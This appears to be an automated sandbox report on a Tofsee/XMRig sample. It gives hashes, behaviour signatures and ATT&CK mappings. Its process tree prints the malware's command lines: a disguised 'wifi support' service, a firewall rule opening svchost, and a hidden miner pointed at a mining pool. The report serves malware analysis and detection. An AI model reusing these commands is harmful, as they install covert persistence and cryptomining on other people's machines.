Resubmissions

23-01-2023 11:03

230123-m5q8hada22 10

23-01-2023 11:02

230123-m5gdasef3z 10

10-05-2020 02:47

200510-dz18eg1lgs 10

Analysis

  • max time kernel
    148s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    10-05-2020 02:47

General

  • Target

    supvobl.exe

  • Size

    12.5MB

  • MD5

    be286c784044379ca9a6ca6e7211a29f

  • SHA1

    bf8010a0e4b7ae88095bd9ee303707f4c0da549e

  • SHA256

    d05cd710559cb6a23a84f44bfe88b91582862c7d70134cf71807ae0c49964993

  • SHA512

    862e1beffa2cd58cd606a9edf2be79a03ca4a93f2edd6528e91eed2f68ad889e2e76dd43f164cd8f7eb02567504cbcf9581f730177f841a3e5a0298b48674b13

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\supvobl.exe
    "C:\Users\Admin\AppData\Local\Temp\supvobl.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1092
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\airscrmu\
      2⤵
        PID:1420
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sunyfnbr.exe" C:\Windows\SysWOW64\airscrmu\
        2⤵
          PID:1508
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create airscrmu binPath= "C:\Windows\SysWOW64\airscrmu\sunyfnbr.exe /d\"C:\Users\Admin\AppData\Local\Temp\supvobl.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1596
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description airscrmu "wifi internet conection"
            2⤵
              PID:1056
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start airscrmu
              2⤵
                PID:1528
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1796
            • C:\Windows\SysWOW64\airscrmu\sunyfnbr.exe
              C:\Windows\SysWOW64\airscrmu\sunyfnbr.exe /d"C:\Users\Admin\AppData\Local\Temp\supvobl.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1652
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1800
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe --algo=cn-heavy/tube -o tube.pool.gntl.co.uk:8080 -u bs3DRuaSUbRjZ3zryBKc1bUv4dxVdTewBfJBQcrHkbC5g4x3pc2QSnebvXwfi3DRoFNFLExjV8MDwBCgejSS6bcr2xFUqWnXA+58000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:896

            Network

            MITRE ATT&CK Matrix ATT&CK v6

            Persistence

            New Service

            1
            T1050

            Modify Existing Service

            2
            T1031

            Registry Run Keys / Startup Folder

            1
            T1060

            Privilege Escalation

            New Service

            1
            T1050

            Defense Evasion

            Disabling Security Tools

            1
            T1089

            Modify Registry

            3
            T1112

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\sunyfnbr.exe
              MD5

              9d3dc849e5033a1e8ccdd0068021b263

              SHA1

              3e8b8b560c71703e9b03eedcd0d1081adf2e12c0

              SHA256

              6e6f4c53beee328d59b95111d1ad262cbb06c8a99fa4db5089072395fdc82ecc

              SHA512

              c64e66af9c2552292364066ddae40ef24c320de28ec29d4e673f3223e1e446c0c355600bd16b8c87cbb641002df7acfb3897cf7b69cd419f53456a297b2a8649

            • C:\Windows\SysWOW64\airscrmu\sunyfnbr.exe
              MD5

              9d3dc849e5033a1e8ccdd0068021b263

              SHA1

              3e8b8b560c71703e9b03eedcd0d1081adf2e12c0

              SHA256

              6e6f4c53beee328d59b95111d1ad262cbb06c8a99fa4db5089072395fdc82ecc

              SHA512

              c64e66af9c2552292364066ddae40ef24c320de28ec29d4e673f3223e1e446c0c355600bd16b8c87cbb641002df7acfb3897cf7b69cd419f53456a297b2a8649

            • memory/896-14-0x0000000000180000-0x0000000000271000-memory.dmp
              Filesize

              964KB

            • memory/896-15-0x0000000000180000-0x0000000000271000-memory.dmp
              Filesize

              964KB

            • memory/1092-1-0x0000000003110000-0x0000000003121000-memory.dmp
              Filesize

              68KB

            • memory/1092-0-0x000000000028A000-0x000000000028B000-memory.dmp
              Filesize

              4KB

            • memory/1652-4-0x0000000002E9A000-0x0000000002E9B000-memory.dmp
              Filesize

              4KB

            • memory/1652-5-0x0000000002F80000-0x0000000002F91000-memory.dmp
              Filesize

              68KB

            • memory/1800-6-0x0000000000080000-0x0000000000095000-memory.dmp
              Filesize

              84KB

            • memory/1800-10-0x00000000002C0000-0x00000000002D0000-memory.dmp
              Filesize

              64KB

            • memory/1800-11-0x00000000002D0000-0x00000000002D5000-memory.dmp
              Filesize

              20KB

            • memory/1800-12-0x00000000057A0000-0x0000000005BAB000-memory.dmp
              Filesize

              4.0MB

            • memory/1800-13-0x00000000002E0000-0x00000000002E7000-memory.dmp
              Filesize

              28KB

            • memory/1800-9-0x0000000000170000-0x0000000000176000-memory.dmp
              Filesize

              24KB

            • memory/1800-8-0x0000000001E10000-0x000000000201F000-memory.dmp
              Filesize

              2.1MB